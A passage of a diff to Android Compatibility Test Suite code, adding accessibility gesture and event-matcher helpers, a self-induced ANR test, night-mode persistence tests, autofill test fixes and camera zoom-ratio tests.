+ TYPE_TOUCH_INTERACTION_START,
+ TYPE_TOUCH_INTERACTION_END,
+ TYPE_VIEW_CLICKED);
+ mClickListener.assertClicked(mView);
+ }
+
public void dispatch(StrokeDescription firstStroke, StrokeDescription... rest) {
GestureDescription.Builder builder =
new GestureDescription.Builder().addStroke(firstStroke);
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/AccessibilityEventFilterUtils.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/AccessibilityEventFilterUtils.java
index 790246e..0fd9477 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/AccessibilityEventFilterUtils.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/AccessibilityEventFilterUtils.java
@@ -59,6 +59,13 @@
new WindowTitleMatcher(uiAutomation, title))::matches;
}
+ public static AccessibilityEventFilter filterWindowsChangTypesAndWindowId(int windowId,
+ int changeTypes) {
+ return allOf(new AccessibilityEventTypeMatcher(AccessibilityEvent.TYPE_WINDOWS_CHANGED),
+ new WindowChangesMatcher(changeTypes),
+ new WindowIdMatcher(windowId))::matches;
+ }
+
public static class AccessibilityEventTypeMatcher extends TypeSafeMatcher<AccessibilityEvent> {
private int mType;
@@ -167,4 +174,23 @@
description.appendText("With window title " + mTitle);
}
}
+
+ public static class WindowIdMatcher extends TypeSafeMatcher<AccessibilityEvent> {
+ private int mWindowId;
+
+ public WindowIdMatcher(int windowId) {
+ super();
+ mWindowId = windowId;
+ }
+
+ @Override
+ protected boolean matchesSafely(AccessibilityEvent event) {
+ return event.getWindowId() == mWindowId;
+ }
+
+ @Override
+ public void describeTo(Description description) {
+ description.appendText("With window Id " + mWindowId);
+ }
+ }
}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/GestureUtils.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/GestureUtils.java
index fa415ce..40192dd 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/GestureUtils.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/GestureUtils.java
@@ -29,7 +29,6 @@
import org.hamcrest.Matcher;
import org.hamcrest.TypeSafeMatcher;
-import java.util.Random;
import java.util.concurrent.CompletableFuture;
public class GestureUtils {
@@ -259,4 +258,25 @@
public static PointF getPointWithinSlop(PointF point, int slop) {
return add(point, slop / 2, 0);
}
+
+ /**
+ * Simulates a user placing one finger on the screen for a specified amount of time and then multi-tapping with a second finger.
+ * @param explorePoint Where to place the first finger.
+ * @param tapPoint Where to tap with the second finger.
+ * @param taps The number of second-finger taps.
+ * @param waitTime How long to hold the first finger before tapping with the second finger.
+ */
+ public static GestureDescription secondFingerMultiTap(
+ PointF explorePoint, PointF tapPoint, int taps, int waitTime) {
+ GestureDescription.Builder builder = new GestureDescription.Builder();
+ long time = waitTime;
+ for (int i = 0; i < taps; i++) {
+ StrokeDescription stroke = click(tapPoint);
+ builder.addStroke(startingAt(time, stroke));
+ time += stroke.getDuration();
+ time += ViewConfiguration.getDoubleTapTimeout() / 3;
+ }
+ builder.addStroke(swipe(explorePoint, explorePoint, time));
+ return builder.build();
+ }
}
diff --git a/tests/app/app/src/android/app/stubs/CommandReceiver.java b/tests/app/app/src/android/app/stubs/CommandReceiver.java
index f892402..96264a9 100644
--- a/tests/app/app/src/android/app/stubs/CommandReceiver.java
+++ b/tests/app/app/src/android/app/stubs/CommandReceiver.java
@@ -16,6 +16,7 @@
package android.app.stubs;
+import android.app.ActivityManager;
import android.content.BroadcastReceiver;
import android.content.ComponentName;
import android.content.Context;
@@ -41,6 +42,7 @@
public static final int COMMAND_STOP_FOREGROUND_SERVICE_LOCATION = 6;
public static final int COMMAND_START_ALERT_SERVICE = 7;
public static final int COMMAND_STOP_ALERT_SERVICE = 8;
+ public static final int COMMAND_SELF_INDUCED_ANR = 9;
public static final String EXTRA_COMMAND = "android.app.stubs.extra.COMMAND";
public static final String EXTRA_TARGET_PACKAGE = "android.app.stubs.extra.TARGET_PACKAGE";
@@ -90,6 +92,9 @@
case COMMAND_STOP_ALERT_SERVICE:
doStopAlertService(context);
break;
+ case COMMAND_SELF_INDUCED_ANR:
+ doSelfInducedAnr(context);
+ break;
}
}
@@ -149,6 +154,11 @@
context.startService(intent);
}
+ private void doSelfInducedAnr(Context context) {
+ ActivityManager am = context.getSystemService(ActivityManager.class);
+ am.appNotResponding("CTS - self induced");
+ }
+
private String getTargetPackage(Intent intent) {
return intent.getStringExtra(EXTRA_TARGET_PACKAGE);
}
diff --git a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
index 7434354..ac50181 100644
--- a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
@@ -1947,6 +1947,11 @@
WAITFOR_MSEC);
uid3Listener.register();
+ UidImportanceListener uid3ServiceListener = new UidImportanceListener(mContext,
+ app3Info.uid, IMPORTANCE_CACHED,
+ WAITFOR_MSEC);
+ uid3ServiceListener.register();
+
Activity activity = null;
try {
@@ -2014,7 +2019,8 @@
uid2ServiceListener.waitForValue(
IMPORTANCE_CACHED,
IMPORTANCE_CACHED);
- uid3Listener.waitForValue(
+
+ uid3ServiceListener.waitForValue(
IMPORTANCE_CACHED,
IMPORTANCE_CACHED);
} finally {
@@ -2031,6 +2037,7 @@
uid2Listener.unregister();
uid2ServiceListener.unregister();
uid3Listener.unregister();
+ uid3ServiceListener.unregister();
if (activity != null) {
activity.finish();
}
diff --git a/tests/app/src/android/app/cts/ActivityManagerTest.java b/tests/app/src/android/app/cts/ActivityManagerTest.java
index 8ac3a66..521f14c 100644
--- a/tests/app/src/android/app/cts/ActivityManagerTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerTest.java
@@ -28,6 +28,7 @@
import android.app.PendingIntent;
import android.app.stubs.ActivityManagerRecentOneActivity;
import android.app.stubs.ActivityManagerRecentTwoActivity;
+import android.app.stubs.CommandReceiver;
import android.app.stubs.MockApplicationActivity;
import android.app.stubs.MockService;
import android.app.stubs.ScreenOnActivity;
@@ -42,6 +43,7 @@
import android.test.InstrumentationTestCase;
import android.util.Log;
+import com.android.compatibility.common.util.AnrMonitor;
import com.android.compatibility.common.util.SystemUtil;
import java.io.IOException;
@@ -73,6 +75,9 @@
"com.android.cts.launchertests.LauncherAppsTests.CHAIN_EXIT_ACTION";
// The action sent to identify the time track info.
private static final String ACTIVITY_TIME_TRACK_INFO = "com.android.cts.TIME_TRACK_INFO";
+
+ private static final String PACKAGE_NAME_APP1 = "com.android.app1";
+
// Return states of the ActivityReceiverFilter.
public static final int RESULT_PASS = 1;
public static final int RESULT_FAIL = 2;
@@ -685,4 +690,31 @@
// Patched devices should throw this exception since isAppForeground is removed.
}
}
+
+ /**
+ * This test verifies the self-induced ANR by ActivityManager.appNotResponding().
+ */
+ public void testAppNotResponding() throws Exception {
+ // Setup the ANR monitor
+ AnrMonitor monitor = new AnrMonitor(mInstrumentation);
+
+ // Now tell it goto ANR
+ CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_SELF_INDUCED_ANR,
+ PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+
+ try {
+
+ // Verify we got the ANR
+ assertTrue(monitor.waitFor(WAITFOR_MSEC));
+
+ // Just kill the test app
+ monitor.sendCommand(AnrMonitor.CMD_KILL);
+ } finally {
+ // clean up
+ monitor.finish();
+ SystemUtil.runWithShellPermissionIdentity(() -> {
+ mActivityManager.forceStopPackage(PACKAGE_NAME_APP1);
+ });
+ }
+ }
}
diff --git a/tests/app/src/android/app/cts/UiModeManagerTest.java b/tests/app/src/android/app/cts/UiModeManagerTest.java
index 55da157..ccf2043 100644
--- a/tests/app/src/android/app/cts/UiModeManagerTest.java
+++ b/tests/app/src/android/app/cts/UiModeManagerTest.java
@@ -22,12 +22,19 @@
import android.content.Context;
import android.content.pm.PackageManager;
import android.content.res.Configuration;
+import android.os.ParcelFileDescriptor;
import android.test.AndroidTestCase;
import android.util.Log;
import com.android.compatibility.common.util.BatteryUtils;
import com.android.compatibility.common.util.SettingsUtils;
+import junit.framework.Assert;
+
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+
public class UiModeManagerTest extends AndroidTestCase {
private static final String TAG = "UiModeManagerTest";
@@ -71,6 +78,22 @@
}
}
+ public void testNightModeYesPersisted() {
+ setNightMode(UiModeManager.MODE_NIGHT_NO);
+ assertStoredNightModeSetting(UiModeManager.MODE_NIGHT_NO);
+
+ setNightMode(UiModeManager.MODE_NIGHT_YES);
+ assertStoredNightModeSetting(UiModeManager.MODE_NIGHT_YES);
+ }
+
+ public void testNightModeAutoPersisted() {
+ setNightMode(UiModeManager.MODE_NIGHT_NO);
+ assertStoredNightModeSetting(UiModeManager.MODE_NIGHT_NO);
+
+ setNightMode(UiModeManager.MODE_NIGHT_AUTO);
+ assertStoredNightModeSetting(UiModeManager.MODE_NIGHT_AUTO);
+ }
+
public void testNightModeInCarModeIsTransient() {
if (mUiModeManager.isNightModeLocked()) {
return;
@@ -277,4 +300,35 @@
int storedModeInt = Integer.parseInt(storedMode);
assertEquals(mode, storedModeInt);
}
+
+ private void setNightMode(int mode) {
+ final UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
+ String modeString = "unknown";
+ switch (mode) {
+ case UiModeManager.MODE_NIGHT_AUTO:
+ modeString = "auto";
+ break;
+ case UiModeManager.MODE_NIGHT_NO:
+ modeString = "no";
+ break;
+ case UiModeManager.MODE_NIGHT_YES:
+ modeString = "yes";
+ break;
+ }
+ final String command = " cmd uimode night " + modeString;
+ try (ParcelFileDescriptor fd = uiAutomation.executeShellCommand(command)) {
+ Assert.assertNotNull("Failed to execute shell command: " + command, fd);
+ // Wait for the command to finish by reading until EOF
+ try (InputStream in = new FileInputStream(fd.getFileDescriptor())) {
+ byte[] buffer = new byte[4096];
+ while (in.read(buffer) > 0) continue;
+ } catch (IOException e) {
+ throw new IOException("Could not read stdout of command: " + command, e);
+ }
+ } catch (IOException e) {
+ fail();
+ } finally {
+ uiAutomation.destroy();
+ }
+ }
}
diff --git a/tests/appsearch/OWNERS b/tests/appsearch/OWNERS
new file mode 100644
index 0000000..cf3ad8a
--- /dev/null
+++ b/tests/appsearch/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 755061
+adorokhine@google.com
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
index 165d0b0..f17c327 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
@@ -1569,7 +1569,18 @@
// Trigger auto-fill.
if (manually) {
+ // setText() will trigger a fill request.
+ // Waits the first fill request triggered by the setText() is received by the service to
+ // avoid flaky.
+ sReplier.getNextFillRequest();
+ mUiBot.waitForIdle();
+
+ // Set expectations again.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+ .build());
mActivity.forceAutofillOnUsername();
+ mUiBot.waitForIdle();
} else {
mActivity.onUsername(View::requestFocus);
}
@@ -1589,6 +1600,7 @@
final String expectedMessage = getWelcomeMessage("user_after");
final String actualMessage = mActivity.tapLogin();
assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+ mUiBot.waitForIdle();
// Assert the snack bar is shown and tap "Save".
mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
@@ -2220,10 +2232,17 @@
// Set service.
enableService();
+ sReplier.addResponse(NO_RESPONSE);
// And activity.
mActivity.onUsername((v) -> v.setText("dud"));
mActivity.onPassword((v) -> v.setText("IamSecretMan"));
+ // setText() will trigger a fill request.
+ // Waits the first fill request triggered by the setText() is received by the service to
+ // avoid flaky.
+ sReplier.getNextFillRequest();
+ mUiBot.waitForIdle();
+
// Set expectations.
sReplier.addResponse(new CannedDataset.Builder()
.setField(ID_USERNAME, "dude")
diff --git a/tests/camera/src/android/hardware/camera2/cts/BurstCaptureTest.java b/tests/camera/src/android/hardware/camera2/cts/BurstCaptureTest.java
index 6616942..cfe1db3 100644
--- a/tests/camera/src/android/hardware/camera2/cts/BurstCaptureTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/BurstCaptureTest.java
@@ -26,7 +26,7 @@
import android.hardware.camera2.CameraMetadata;
import android.hardware.camera2.cts.helpers.StaticMetadata;
import android.hardware.camera2.cts.testcases.Camera2SurfaceViewTestCase;
-import android.hardware.camera2.params.CapabilityAndMaxSize;
+import android.hardware.camera2.params.Capability;
import android.hardware.camera2.params.StreamConfigurationMap;
import android.media.Image;
import android.util.Log;
@@ -104,9 +104,9 @@
continue;
}
- CapabilityAndMaxSize[] bokehCaps = staticInfo.getAvailableBokehCapsChecked();
+ Capability[] bokehCaps = staticInfo.getAvailableBokehCapsChecked();
boolean supportStillBokeh = false;
- for (CapabilityAndMaxSize bokehCap : bokehCaps) {
+ for (Capability bokehCap : bokehCaps) {
if (bokehCap.getMode() == CameraMetadata.CONTROL_BOKEH_MODE_STILL_CAPTURE) {
supportStillBokeh = true;
break;
diff --git a/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java b/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
index 35c7da6..961e7c6 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
@@ -33,7 +33,7 @@
import android.hardware.camera2.cts.helpers.StaticMetadata;
import android.hardware.camera2.cts.testcases.Camera2SurfaceViewTestCase;
import android.hardware.camera2.params.BlackLevelPattern;
-import android.hardware.camera2.params.CapabilityAndMaxSize;
+import android.hardware.camera2.params.Capability;
import android.hardware.camera2.params.ColorSpaceTransform;
import android.hardware.camera2.params.Face;
import android.hardware.camera2.params.LensShadingMap;
@@ -823,6 +823,27 @@
}
/**
+ * Test zoom using CONTROL_ZOOM_RATIO, validate the returned crop regions and zoom ratio.
+ * The max preview size is used for each camera.
+ */
+ @Test
+ public void testZoomRatio() throws Exception {
+ for (String id : mCameraIdsUnderTest) {
+ try {
+ if (!mAllStaticInfo.get(id).isColorOutputSupported()) {
+ Log.i(TAG, "Camera " + id + " does not support color outputs, skipping");
+ continue;
+ }
+ openDevice(id);
+ Size maxPreviewSize = mOrderedPreviewSizes.get(0);
+ zoomRatioTestByCamera(maxPreviewSize);
+ } finally {
+ closeDevice();
+ }
+ }
+ }
+
+ /**
* Test digital zoom and all preview size combinations.
* TODO: this and above test should all be moved to preview test class.
*/
@@ -2589,6 +2610,8 @@
}
final Rect activeArraySize = mStaticInfo.getActiveArraySizeChecked();
+ final Rect defaultCropRegion = new Rect(0, 0,
+ activeArraySize.width(), activeArraySize.height());
Rect[] cropRegions = new Rect[ZOOM_STEPS];
MeteringRectangle[][] expectRegions = new MeteringRectangle[ZOOM_STEPS][];
CaptureRequest.Builder requestBuilder =
@@ -2634,7 +2657,8 @@
* Submit capture request
*/
float zoomFactor = (float) (1.0f + (maxZoom - 1.0) * i / ZOOM_STEPS);
- cropRegions[i] = getCropRegionForZoom(zoomFactor, center, maxZoom, activeArraySize);
+ cropRegions[i] = getCropRegionForZoom(zoomFactor, center,
+ maxZoom, defaultCropRegion);
if (VERBOSE) {
Log.v(TAG, "Testing Zoom for factor " + zoomFactor + " and center " +
center + " The cropRegion is " + cropRegions[i] +
@@ -2695,7 +2719,7 @@
// Verify Output 3A region is intersection of input 3A region and crop region
for (int algo = 0; algo < NUM_ALGORITHMS; algo++) {
- validate3aRegion(result, algo, expectRegions[i]);
+ validate3aRegion(result, algo, expectRegions[i], false/*scaleByZoomRatio*/);
}
previousCrop = cropRegion;
@@ -2713,6 +2737,120 @@
}
}
+ private void zoomRatioTestByCamera(Size previewSize) throws Exception {
+ final int ZOOM_STEPS = 15;
+ final Range<Float> zoomRatioRange = mStaticInfo.getZoomRatioRangeChecked();
+ // The error margin is derive from a VGA size camera zoomed all the way to 10x, in which
+ // case the cropping error can be as large as 480/46 - 480/48 = 0.435.
+ final float ZOOM_ERROR_MARGIN = 0.05f;
+
+ final Rect activeArraySize = mStaticInfo.getActiveArraySizeChecked();
+ final Rect defaultCropRegion =
+ new Rect(0, 0, activeArraySize.width(), activeArraySize.height());
+ MeteringRectangle[][] expectRegions = new MeteringRectangle[ZOOM_STEPS][];
+ CaptureRequest.Builder requestBuilder =
+ mCamera.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
+ requestBuilder.set(CaptureRequest.SCALER_CROP_REGION, defaultCropRegion);
+ SimpleCaptureCallback listener = new SimpleCaptureCallback();
+
+ updatePreviewSurface(previewSize);
+ configurePreviewOutput(requestBuilder);
+
+ // Set algorithm regions to full active region
+ final MeteringRectangle[] defaultMeteringRect = new MeteringRectangle[] {
+ new MeteringRectangle (
+ /*x*/0, /*y*/0, activeArraySize.width(), activeArraySize.height(),
+ /*meteringWeight*/1)
+ };
+
+ for (int algo = 0; algo < NUM_ALGORITHMS; algo++) {
+ update3aRegion(requestBuilder, algo, defaultMeteringRect);
+ }
+
+ final int captureSubmitRepeat;
+ {
+ int maxLatency = mStaticInfo.getSyncMaxLatency();
+ if (maxLatency == CameraMetadata.SYNC_MAX_LATENCY_UNKNOWN) {
+ captureSubmitRepeat = NUM_FRAMES_WAITED_FOR_UNKNOWN_LATENCY + 1;
+ } else {
+ captureSubmitRepeat = maxLatency + 1;
+ }
+ }
+
+ float previousRatio = zoomRatioRange.getLower();
+ for (int i = 0; i < ZOOM_STEPS; i++) {
+ /*
+ * Submit capture request
+ */
+ float zoomFactor = zoomRatioRange.getLower() + (zoomRatioRange.getUpper() -
+ zoomRatioRange.getLower()) * i / ZOOM_STEPS;
+ if (VERBOSE) {
+ Log.v(TAG, "Testing Zoom ratio " + zoomFactor + " Preview size is " + previewSize);
+ }
+ requestBuilder.set(CaptureRequest.CONTROL_ZOOM_RATIO, zoomFactor);
+ CaptureRequest request = requestBuilder.build();
+ for (int j = 0; j < captureSubmitRepeat; ++j) {
+ mSession.capture(request, listener, mHandler);
+ }
+
+ /*
+ * Validate capture result
+ */
+ waitForNumResults(listener, captureSubmitRepeat - 1); // Drop first few frames
+ CaptureResult result = listener.getCaptureResultForRequest(
+ request, NUM_RESULTS_WAIT_TIMEOUT);
+ float resultZoomRatio = getValueNotNull(result, CaptureResult.CONTROL_ZOOM_RATIO);
+ Rect cropRegion = getValueNotNull(result, CaptureResult.SCALER_CROP_REGION);
+
+ /*
+ * Validate resulting crop regions and zoom ratio
+ */
+ mCollector.expectTrue(String.format(
+ "Zoom ratio should increase or stay the same " +
+ "(previous = %f, current = %f)",
+ previousRatio, resultZoomRatio),
+ Math.abs(previousRatio - resultZoomRatio) < ZOOM_ERROR_MARGIN ||
+ (previousRatio < resultZoomRatio));
+
+ mCollector.expectTrue(String.format(
+ "Request and result zoom ratio should be similar " +
+ "(requested = %f, result = %f", zoomFactor, resultZoomRatio),
+ Math.abs(zoomFactor - resultZoomRatio)/zoomFactor <= ZOOM_ERROR_MARGIN);
+
+ //In case zoom ratio is converted to crop region at HAL, due to error magnification
+ //when converting to post-zoom crop region, scale the error threshold for crop region
+ //check.
+ float errorMultiplier = Math.max(1.0f, zoomFactor);
+ if (mStaticInfo.isHardwareLevelAtLeastLimited()) {
+ mCollector.expectRectsAreSimilar(
+ "Request and result crop region should be similar",
+ activeArraySize, cropRegion,
+ CROP_REGION_ERROR_PERCENT_DELTA * errorMultiplier);
+ }
+
+ mCollector.expectRectCentered(
+ "Result crop region should be centered inside the active array",
+ new Size(activeArraySize.width(), activeArraySize.height()),
+ cropRegion, CROP_REGION_ERROR_PERCENT_CENTERED * errorMultiplier);
+
+ /*
+ * Validate resulting metering regions
+ */
+ // Use the actual reported crop region to calculate the resulting metering region
+ expectRegions[i] = getExpectedOutputRegion(
+ /*requestRegion*/defaultMeteringRect,
+ /*cropRect*/ cropRegion);
+
+ // Verify Output 3A region is intersection of input 3A region and crop region
+ boolean scaleByZoomRatio = zoomFactor > 1.0f;
+ for (int algo = 0; algo < NUM_ALGORITHMS; algo++) {
+ validate3aRegion(result, algo, expectRegions[i], scaleByZoomRatio);
+ }
+
+ previousRatio = resultZoomRatio;
+ }
+ }
+
private void digitalZoomPreviewCombinationTestByCamera() throws Exception {
final double ASPECT_RATIO_THRESHOLD = 0.001;
List<Double> aspectRatiosTested = new ArrayList<Double>();
@@ -2798,7 +2936,7 @@
}
private void bokehModeTestByCamera(List<Range<Integer>> fpsRanges) throws Exception {
- CapabilityAndMaxSize[] bokehCaps = mStaticInfo.getAvailableBokehCapsChecked();
+ Capability[] bokehCaps = mStaticInfo.getAvailableBokehCapsChecked();
if (bokehCaps.length == 0) {
return;
}
@@ -2807,7 +2945,7 @@
CaptureRequest.Builder requestBuilder =
mCamera.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
- for (CapabilityAndMaxSize bokehCap : bokehCaps) {
+ for (Capability bokehCap : bokehCaps) {
int mode = bokehCap.getMode();
requestBuilder.set(CaptureRequest.CONTROL_BOKEH_MODE, mode);
@@ -2817,13 +2955,19 @@
verifyFpsNotSlowDown(requestBuilder, NUM_FRAMES_VERIFIED, fpsRanges);
}
- SimpleCaptureCallback listener = new SimpleCaptureCallback();
- startPreview(requestBuilder, maxPreviewSize, listener);
- mSession.setRepeatingRequest(requestBuilder.build(), listener, mHandler);
- waitForSettingsApplied(listener, NUM_FRAMES_WAITED_FOR_UNKNOWN_LATENCY);
+ Range<Float> zoomRange = bokehCap.getZoomRatioRange();
+ float[] zoomRatios = new float[]{zoomRange.getLower(), zoomRange.getUpper()};
+ for (float ratio : zoomRatios) {
+ SimpleCaptureCallback listener = new SimpleCaptureCallback();
+ requestBuilder.set(CaptureRequest.CONTROL_ZOOM_RATIO, ratio);
+ startPreview(requestBuilder, maxPreviewSize, listener);
+ waitForSettingsApplied(listener, NUM_FRAMES_WAITED_FOR_UNKNOWN_LATENCY);
- verifyCaptureResultForKey(CaptureResult.CONTROL_BOKEH_MODE,
- mode, listener, NUM_FRAMES_VERIFIED);
+ verifyCaptureResultForKey(CaptureResult.CONTROL_BOKEH_MODE,
+ mode, listener, NUM_FRAMES_VERIFIED);
+ verifyCaptureResultForKey(CaptureResult.CONTROL_ZOOM_RATIO,
+ ratio, listener, NUM_FRAMES_VERIFIED);
+ }
}
}
@@ -3241,7 +3385,8 @@
* @param expectRegions The 3A regions expected in capture result
*/
private void validate3aRegion(
- CaptureResult result, int algoIdx, MeteringRectangle[] expectRegions)
+ CaptureResult result, int algoIdx, MeteringRectangle[] expectRegions,
+ boolean scaleByZoomRatio)
{
final int maxCorrectionDist = 2;
int maxRegions;
@@ -3269,30 +3414,35 @@
boolean correctionEnabled =
distortionCorrectionMode != null &&
distortionCorrectionMode != CaptureResult.DISTORTION_CORRECTION_MODE_OFF;
+ Float zoomRatio = result.get(CaptureResult.CONTROL_ZOOM_RATIO);
+ int maxDist = correctionEnabled ? maxCorrectionDist : 1;
+ if (scaleByZoomRatio) {
+ maxDist = (int)Math.ceil(maxDist * zoomRatio);
+ }
if (maxRegions > 0)
{
actualRegion = getValueNotNull(result, key);
- if (correctionEnabled) {
+ if (correctionEnabled || scaleByZoomRatio) {
for(int i = 0; i < actualRegion.length; i++) {
Rect a = actualRegion[i].getRect();
Rect e = expectRegions[i].getRect();
if (!mCollector.expectLessOrEqual(
"Expected 3A regions: " + Arrays.toString(expectRegions) +
" are not close enough to the actual one: " + Arrays.toString(actualRegion),
- maxCorrectionDist, Math.abs(a.left - e.left))) continue;
+ maxDist, Math.abs(a.left - e.left))) continue;
if (!mCollector.expectLessOrEqual(
"Expected 3A regions: " + Arrays.toString(expectRegions) +
" are not close enough to the actual one: " + Arrays.toString(actualRegion),
- maxCorrectionDist, Math.abs(a.right - e.right))) continue;
+ maxDist, Math.abs(a.right - e.right))) continue;
if (!mCollector.expectLessOrEqual(
"Expected 3A regions: " + Arrays.toString(expectRegions) +
" are not close enough to the actual one: " + Arrays.toString(actualRegion),
- maxCorrectionDist, Math.abs(a.top - e.top))) continue;
+ maxDist, Math.abs(a.top - e.top))) continue;
if (!mCollector.expectLessOrEqual(
"Expected 3A regions: " + Arrays.toString(expectRegions) +
" are not close enough to the actual one: " + Arrays.toString(actualRegion),
- maxCorrectionDist, Math.abs(a.bottom - e.bottom))) continue;
+ maxDist, Math.abs(a.bottom - e.bottom))) continue;
}
} else {
mCollector.expectEquals(
diff --git a/tests/camera/src/android/hardware/camera2/cts/CaptureResultTest.java b/tests/camera/src/android/hardware/camera2/cts/CaptureResultTest.java
index 247308e..da0c32e 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CaptureResultTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CaptureResultTest.java
@@ -806,6 +806,7 @@
waiverKeys.add(CaptureResult.CONTROL_AF_MODE);
waiverKeys.add(CaptureResult.CONTROL_AWB_MODE);
waiverKeys.add(CaptureResult.CONTROL_AWB_LOCK);
+ waiverKeys.add(CaptureResult.CONTROL_ZOOM_RATIO);
waiverKeys.add(CaptureResult.STATISTICS_FACE_DETECT_MODE);
waiverKeys.add(CaptureResult.FLASH_MODE);
waiverKeys.add(CaptureResult.SCALER_CROP_REGION);
@@ -946,6 +947,7 @@
resultKeys.add(CaptureResult.CONTROL_ENABLE_ZSL);
resultKeys.add(CaptureResult.CONTROL_AF_SCENE_CHANGE);
resultKeys.add(CaptureResult.CONTROL_BOKEH_MODE);
+ resultKeys.add(CaptureResult.CONTROL_ZOOM_RATIO);
resultKeys.add(CaptureResult.EDGE_MODE);
resultKeys.add(CaptureResult.FLASH_MODE);
resultKeys.add(CaptureResult.FLASH_STATE);
diff --git a/tests/camera/src/android/hardware/camera2/cts/StaticMetadataTest.java b/tests/camera/src/android/hardware/camera2/cts/StaticMetadataTest.java
index 1ffa501..a6c477c 100644
--- a/tests/camera/src/android/hardware/camera2/cts/StaticMetadataTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/StaticMetadataTest.java
@@ -310,6 +310,7 @@
requestKeys.add(CaptureRequest.CONTROL_MODE);
requestKeys.add(CaptureRequest.CONTROL_SCENE_MODE);
requestKeys.add(CaptureRequest.CONTROL_VIDEO_STABILIZATION_MODE);
+ requestKeys.add(CaptureRequest.CONTROL_ZOOM_RATIO);
requestKeys.add(CaptureRequest.FLASH_MODE);
requestKeys.add(CaptureRequest.JPEG_GPS_LOCATION);
requestKeys.add(CaptureRequest.JPEG_ORIENTATION);
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
index 33f9346..d9fdcfb 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
@@ -25,7 +25,7 @@
import android.hardware.camera2.CaptureResult;
import android.hardware.camera2.cts.CameraTestUtils;
import android.hardware.camera2.params.StreamConfigurationMap;
-import android.hardware.camera2.params.CapabilityAndMaxSize;
+import android.hardware.camera2.params.Capability;
import android.util.Range;
import android.util.Size;
import android.util.Log;
@@ -1816,6 +1816,26 @@
return maxZoom;
}
+ public Range<Float> getZoomRatioRangeChecked() {
+ Key<Range<Float>> key =
+ CameraCharacteristics.CONTROL_ZOOM_RATIO_RANGE;
+
+ Range<Float> zoomRatioRange = getValueFromKeyNonNull(key);
+ if (zoomRatioRange == null) {
+ return new Range<Float>(1.0f, 1.0f);
+ }
+
+ checkTrueForKey(key, String.format(" min zoom ratio %f should be no more than 1",
+ zoomRatioRange.getLower()), zoomRatioRange.getLower() <= 1.0);
+ checkTrueForKey(key, String.format(" max zoom ratio %f should be no less than 1",
+ zoomRatioRange.getUpper()), zoomRatioRange.getUpper() >= 1.0);
+ final float ZOOM_MIN_RANGE = 0.01f;
+ checkTrueForKey(key, " zoom ratio range should be reasonably large",
+ zoomRatioRange.getUpper().equals(zoomRatioRange.getLower()) ||
+ zoomRatioRange.getUpper() - zoomRatioRange.getLower() > ZOOM_MIN_RANGE);
+ return zoomRatioRange;
+ }
+
public int[] getAvailableSceneModesChecked() {
Key<int[]> key =
CameraCharacteristics.CONTROL_AVAILABLE_SCENE_MODES;
@@ -1853,21 +1873,21 @@
return modes;
}
- public CapabilityAndMaxSize[] getAvailableBokehCapsChecked() {
+ public Capability[] getAvailableBokehCapsChecked() {
final Size FULL_HD = new Size(1920, 1080);
Rect activeRect = getValueFromKeyNonNull(
CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE);
- Key<CapabilityAndMaxSize[]> key =
+ Key<Capability[]> key =
CameraCharacteristics.CONTROL_AVAILABLE_BOKEH_CAPABILITIES;
- CapabilityAndMaxSize[] caps = mCharacteristics.get(key);
+ Capability[] caps = mCharacteristics.get(key);
if (caps == null) {
- return new CapabilityAndMaxSize[0];
+ return new Capability[0];
}
Size[] yuvSizes = getAvailableSizesForFormatChecked(ImageFormat.YUV_420_888,
StaticMetadata.StreamDirection.Output);
List<Size> yuvSizesList = Arrays.asList(yuvSizes);
- for (CapabilityAndMaxSize cap : caps) {
+ for (Capability cap : caps) {
int bokehMode = cap.getMode();
Size maxStreamingSize = cap.getMaxStreamingSize();
boolean maxStreamingSizeIsZero =
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
index 4ba9d5d..664543f 100644
